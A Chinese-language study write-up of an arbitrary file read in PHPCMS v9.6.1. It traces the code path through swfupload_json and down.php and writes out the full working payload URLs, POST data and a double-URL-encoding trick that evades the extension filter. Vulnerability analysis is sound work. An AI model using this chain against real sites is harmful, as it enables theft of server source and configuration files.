# PHPCMS v9.6.1 任意文件讀取 ###### tags: `phpcms` 這個漏洞與前一個漏洞利用方法類似。都是東拼西湊出payload。 首先 wap 模塊拿到一個cookie 這個cookie 是被sys_auth 加密的 ``` payload: http://localhost/index.php?m=wap&c=index&siteid=1 cookie: NpHtD_siteid:8fd5A2tsnl0lQ3wc3-IGFybAOxdmDySOEzWntfgG ``` 這個目地是為了下一個作者看上的函數,可以接收get 參數,參數最後則是要 轉成json格式,並且 set_cookie phpcms/modules/attachment/attachments.php ``` public function swfupload_json() { $arr['aid'] = intval($_GET['aid']); $arr['src'] = safe_replace(trim($_GET['src'])); $arr['filename'] = urlencode(safe_replace($_GET['filename'])); $json_str = json_encode($arr); $att_arr_exist = param::get_cookie('att_json'); $att_arr_exist_tmp = explode('||', $att_arr_exist); if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) { return true; } else { $json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str; param::set_cookie('att_json',$json_str); return true; } } ``` set_cookie 為什麼要使用他,原因在於sys_auth 是加密的函數,我們把payload 轉json格式後,最後走到這會被加密。 ``` public static function set_cookie($var, $value = '', $time = 0) { $time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0); $s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0; $httponly = $var=='userid'||$var=='auth'?true:false; $var = pc_base::load_config('system','cookie_pre').$var; $_COOKIE[$var] = $value; if (is_array($value)) { foreach($value as $k=>$v) { setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s, $httponly); } } else { setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s, $httponly); } } ``` payload: 注意看 參數src ``` http://localhost/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src= //這段是我們精心構造出的payload: &i=1&m=1&modelid=1&f=phpcms/base.ph%253Ep&d=1&catid=1 繞過細節f參數: %25 url decode = % $3E url decode = > 剩下的其他參數都是交插測試,可以成功的。 ``` 再重看一次 swfupload_json phpcms/modules/attachment/attachments.php ``` public function swfupload_json() { $arr['aid'] = intval($_GET['aid']); $arr['src'] = safe_replace(trim($_GET['src'])); $arr['filename'] = urlencode(safe_replace($_GET['filename'])); $json_str = json_encode($arr); $att_arr_exist = param::get_cookie('att_json'); $att_arr_exist_tmp = explode('||', $att_arr_exist); if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) { return true; } else { $json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str; param::set_cookie('att_json',$json_str); return true; } } ``` 他吃3個get參數 ``` filename 我們沒設置,我們aid 也是亂填1 最後主要靠 src設置 http://localhost/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src= &i=1&m=1&modelid=1&f=phpcms/base.ph%253Ep&d=1&catid=1 不過這樣是不會成功的,你直接丟上去 swfupload_json 會誤以為, payload 的 i ,m ,modelid ...都是給這個swfupload_json的, 所要要urlencode 讓他成為src變數的數據。 %26i%3D1%26m%3D1%26modelid%3D1%26f%3Dphpcms%2Fbase.ph%25253Ep%26d%3D1%26catid%3D1%0A 最後合並 http://localhost//index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26i%3D1%26m%3D1%26modelid%3D1%26f%3Dphpcms%2Fbase.ph%25253Ep%26d%3D1%26catid%3D1%0A ``` 這邊需要注意,想要走到 swfupload_json 還需要通過幾個點,這個物件的 __construct 需要有一個 ``` //先解碼 然後送給 $this->userid sys_auth($_POST['userid_flash'],'DECODE') //才能通過這個條件 if(empty($this->userid)){ showmessage(L('please_login','','member')); } ``` phpcms/modules/attachment/attachments.php ``` function __construct() { pc_base::load_app_func('global'); $this->upload_url = pc_base::load_config('system','upload_url'); $this->upload_path = pc_base::load_config('system','upload_path'); $this->imgext = array('jpg','gif','png','bmp','jpeg'); $this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE')); $this->isadmin = $this->admin_username = $_SESSION['roleid'] ? 1 : 0; $this->groupid = param::get_cookie('_groupid') ? param::get_cookie('_groupid') : 8; //判断是否登录 if(empty($this->userid)){ showmessage(L('please_login','','member')); } } ``` 所以我們在使用這 payload 時需要burpsuit 改成POST ``` http://localhost//index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26i%3D1%26m%3D1%26modelid%3D1%26f%3Dphpcms%2Fbase.ph%25253Ep%26d%3D1%26catid%3D1%0A 加上 POST 數據 //這個就是我們一開頭拿到的cookie userid_flash=8fd5A2tsnl0lQ3wc3-IGFybAOxdmDySOEzWntfgG 小坑: post 加上(不加會失敗) Content-Type: application/x-www-form-urlencoded ``` 送出後,我們會拿到 swfupload_json 幫我們轉json 格式並且又是 sys_auth 加密的cookie: ``` ac15w4jVZafeA-bTtfvGGQXi5uDWayLhIAozevShc51PgpAxycV68CrYDty0aaswl3ScZK2OmIpqo6LGmzJ53EXX9yR3k1VN_DLeXN8awsLvh5yFDYrqu1vXckVSYJOHJsIQpv-L5RitTSuzhWHsid9Adw ``` 最後一步 payload是看上了 content 模塊的 down 類的 init 函數 並且payload 放在 a_k變數 ``` http://localhost/index.php?m=content&c=down&a=init&a_k= ac15w4jVZafeA-bTtfvGGQXi5uDWayLhIAozevShc51PgpAxycV68CrYDty0aaswl3ScZK2OmIpqo6LGmzJ53EXX9yR3k1VN_DLeXN8awsLvh5yFDYrqu1vXckVSYJOHJsIQpv-L5RitTSuzhWHsid9Adw ``` phpcms/modules/content/down.php init函數太長,我這邊用簡單的步驟說明 大概是: ``` //解碼變成 json $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key')); //危險函數 parse_str 可已覆蓋並創造其他值 //此時json 格式大概為&i=1&m=1&modelid=1&f=phpcms/base.ph%253Ep&d=1&catid=1 parse_str($a_k); i=1 m=1 modelid=1 f=phpcms/base.ph%253Ep 但 parse_str 會自動 url decode 所以 f=phpcms/base.ph%3Ep d=1 catid=1 ``` 這樣的變數設置最後可以走進 init 的節尾判斷 if ``` if(strpos($f, 'http://') !== FALSE || strpos($f, 'ftp://') !== FALSE || strpos($f, '://') === FALSE) { $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down'); $a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, 'ENCODE', $pc_auth_key)); $downurl = '?m=content&c=down&a=download&a_k='.$a_k; } else { $downurl = $f; } include template('content','download'); ``` 此時的 $a_k 是經過 另一個$pc_auth_key 加密的 最後請求 ?m=content&c=down&a=download&a_k=xxxxxx 所以進入到download 函數 phpcms/modules/content/down.php 函數也很長我大概說明一下: ``` 解密 $a_k i=1 m=1 modelid=1 f=phpcms/base.ph%3Ep d=1 catid=1 //危險函數parse_str 自動 url decode parse_str($a_k); i=1 m=1 modelid=1 //關鍵%3E 變成 > f=phpcms/base.ph>p d=1 catid=1 ``` 這樣的變數設置,不但繞過後綴檔名 f會給 fileurl=phpcms/base.ph>p ``` if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$fileurl) ) showmessage(L('url_error')); ``` 最後還幫我們消掉了> ``` $fileurl = str_replace(array('<','>'), '',$fileurl); $fileurl = phpcms/base.php ``` 最後進入到下載 phpcms/base.php 大功告成。 心得:真心覺得作者很厲害,需要熟悉流程,還要構造正確payload。 這個 payload 如果你自己構造的話,過程會很痛苦,但能學到很多,方法大概是先從 download 函數開刀,注解掉大部分沒用的區塊,然後反推,看能不能利用。 總之利用好phpstorm 直接亂給值,慢慢測大概是我能想到的快速理解payload 方式。